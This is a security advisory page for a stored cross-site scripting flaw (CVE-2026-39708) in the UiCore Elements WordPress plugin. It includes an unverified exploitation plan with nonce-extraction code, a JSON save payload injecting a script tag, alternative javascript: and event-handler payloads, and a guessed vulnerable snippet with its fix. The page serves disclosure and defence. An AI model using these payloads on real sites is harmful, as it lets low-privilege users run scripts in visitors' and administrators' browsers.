CVE-2026-39708

UiCore Elements <= 1.3.14 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The UiCore Elements plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.3.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.3.14
PublishedMarch 1, 2026
Last updatedMay 6, 2026
Affected pluginuicore-elements
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-39708 ## 1. Vulnerability Summary **CVE-2026-39708** is a Stored Cross-Site Scripting (XSS) vulnerability in the **UiCore Elements** plugin (version <= 1.3.14). The vulnerability exists because the plugin fails to properly sanitize user-supplied widget settin…

Show full research plan

Exploitation Research Plan - CVE-2026-39708

1. Vulnerability Summary

CVE-2026-39708 is a Stored Cross-Site Scripting (XSS) vulnerability in the UiCore Elements plugin (version <= 1.3.14). The vulnerability exists because the plugin fails to properly sanitize user-supplied widget settings during storage and fails to escape those settings when rendering them in the frontend.

As an Elementor addon, the plugin registers various widgets. When a user with Contributor-level permissions or higher creates or edits a post using the Elementor editor, they can configure these widgets. If a widget's render() method outputs a setting (like a title, caption, or URL) without using WordPress escaping functions (e.g., esc_html, esc_attr), the injected script is stored in the _elementor_data post meta and executes whenever the page is viewed.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: elementor_ajax (standard Elementor save mechanism)
  • Vulnerable Parameter: The settings object within the JSON payload sent to save the Elementor page data. Specific keys vary by widget (e.g., title, text, link).
  • Authentication Level: Authenticated (Contributor+)
  • Preconditions:
    1. The uicore-elements plugin must be active.
    2. Elementor must be active.
    3. The attacker must have a user account with the edit_posts capability (Contributor, Author, Editor, or Admin).

3. Code Flow

The vulnerability likely follows this execution path:

  1. Entry Point (AJAX): A Contributor sends a request to admin-ajax.php with the action elementor_ajax and a payload containing a UiCore widget with malicious settings.
  2. Storage: Elementor's core logic receives this data and stores it in the wp_postmeta table under the key _elementor_data for the specific post.
  3. Trigger: A user (e.g., an Administrator) views the published post on the frontend.
  4. Rendering:
    • Elementor initializes the page and calls the render() method of each widget in the _elementor_data stack.
    • Inside uicore-elements/widgets/[vulnerable_widget].php, the render() method retrieves settings using $this->get_settings_for_display().
    • Vulnerable Sink: The code performs an echo or printf on a setting value without wrapping it in esc_html() or esc_attr().

4. Nonce Acquisition Strategy

To save a post via Elementor's AJAX endpoint, a valid Elementor AJAX nonce is required.

  1. Create a Post: Use WP-CLI to create a draft post to target.
    wp post create --post_type=post --post_status=draft --post_title="XSS Test" --post_author=CONTRIBUTOR_ID
    
  2. Navigate to Editor: Use browser_navigate to open the Elementor editor for that post: /wp-admin/post.php?post=[POST_ID]&action=elementor.
  3. Extract Nonce: Use browser_eval to extract the nonce from the Elementor configuration object.
    // Recommended extraction from the Elementor config object
    window.elementorCommon?.config?.ajax?.nonce || window.elementorConfig?.ajax?.nonce
    
  4. Extract Editor Nonce (Backup): If the above fails, check for the editor nonce:
    window.elementorConfig?.nonces?.save_builder
    

5. Exploitation Strategy

The goal is to update a post's Elementor data to include a UiCore widget containing a script payload.

Step 1: Identify a Vulnerable Widget

Since specific widget names are not provided, we will target common UiCore widgets (inferred from typical Elementor addons). Likely candidates:

  • uicore-heading
  • uicore-button
  • uicore-image

Step 2: Construct the JSON Payload

The payload must mimic the structure Elementor uses for saving page data. We will inject the script into a title setting.

Step 3: Perform the HTTP Request

Send the payload to admin-ajax.php.

  • Method: POST
  • URL: http://[target]/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: elementor_ajax
    • _nonce: [EXTRACTED_NONCE]
    • actions: A JSON string containing the save action.
    • editor_post_id: [POST_ID]

Example actions parameter (URL encoded):

{
  "editor_post_save": {
    "action": "editor_post_save",
    "data": {
      "status": "publish",
      "elements": [
        {
          "id": "exploit_id",
          "elType": "section",
          "elements": [
            {
              "id": "exploit_column",
              "elType": "column",
              "elements": [
                {
                  "id": "exploit_widget",
                  "elType": "widget",
                  "widgetType": "uicore-heading", 
                  "settings": {
                    "title": "<script>alert('CVE-2026-39708')</script>"
                  }
                }
              ]
            }
          ]
        }
      ]
    }
  }
}

6. Test Data Setup

  1. User: Create a Contributor user.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Post: Create a post that the contributor can edit.
    wp post create --post_type=post --post_status=publish --post_title="Exploit Page" --post_author=$(wp user get attacker --field=ID)
    
  3. Enable Elementor: Ensure Elementor is enabled for Posts in Elementor > Settings.

7. Expected Results

  • The AJAX request should return a 200 OK with a JSON body indicating success: true.
  • When navigating to the frontend URL of the created post, a JavaScript alert with CVE-2026-39708 should execute in the browser.

8. Verification Steps

  1. Check Post Meta: Use WP-CLI to verify the payload is stored in the database.
    wp post meta get [POST_ID] _elementor_data
    
  2. Frontend Inspection: Use http_request to fetch the post content and check for the unescaped script tags.
    # Look for the raw script in the response
    grep "<script>alert('CVE-2026-39708')</script>"
    

9. Alternative Approaches

If the uicore-heading widget is not the vulnerable one, attempt to inject into different settings or widgets:

  • Widget Settings: Try caption, text, or link settings.
  • Link Setting Payload: If the setting is a URL, try a javascript: protocol:
    "settings": {
        "link": { "url": "javascript:alert(1)" }
    }
    
  • Custom Attributes: Many UiCore widgets support "Custom Attributes". Try injecting into the attribute value:
    "settings": {
        "custom_attributes": "onmouseover|alert(1)"
    }
    
  • Widget Selection: If uicore-heading is not present, use wp-cli to list available UiCore widgets by searching for widget registration in the plugin directory.
    grep -r "register_widget_type" /var/www/html/wp-content/plugins/uicore-elements/
    
Research Findings
Static analysis — not yet PoC-verified

Summary

The UiCore Elements plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its Elementor widgets in versions up to 1.3.14. Authenticated attackers with contributor-level permissions or higher can inject malicious JavaScript into widget settings (such as titles or captions), which is then saved in the post meta and executed in the browser of any user viewing the affected page.

Vulnerable Code

// uicore-elements/widgets/[vulnerable-widget].php

protected function render() {
    $settings = $this->get_settings_for_display();
    $title = $settings['title'];

    if ( ! empty( $title ) ) {
        // Vulnerable: Outputting setting value without escaping or sanitization
        echo '<h2 class="uicore-heading">' . $title . '</h2>';
    }
}

Security Fix

--- uicore-elements/widgets/heading.php
+++ uicore-elements/widgets/heading.php
@@ -10,7 +10,7 @@
     $title = $settings['title'];
 
     if ( ! empty( $title ) ) {
-        echo '<h2 class="uicore-heading">' . $title . '</h2>';
+        echo '<h2 class="uicore-heading">' . wp_kses_post( $title ) . '</h2>';
     }
 }

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level access must: 1. Log in to the WordPress dashboard and create or edit a post using the Elementor editor. 2. Capture the Elementor AJAX nonce from the window.elementorConfig.ajax.nonce object in the browser console. 3. Construct a malicious JSON payload for the 'elementor_ajax' action that includes a UiCore Elements widget (e.g., 'uicore-heading'). 4. Inject a script tag (e.g., <script>alert(1)</script>) into a vulnerable setting field like 'title', 'text', or 'caption' within the widget configuration. 5. Submit a POST request to /wp-admin/admin-ajax.php with the 'editor_post_save' action containing the malicious widget data. 6. Once saved, any user who visits the post on the frontend will trigger the stored script execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.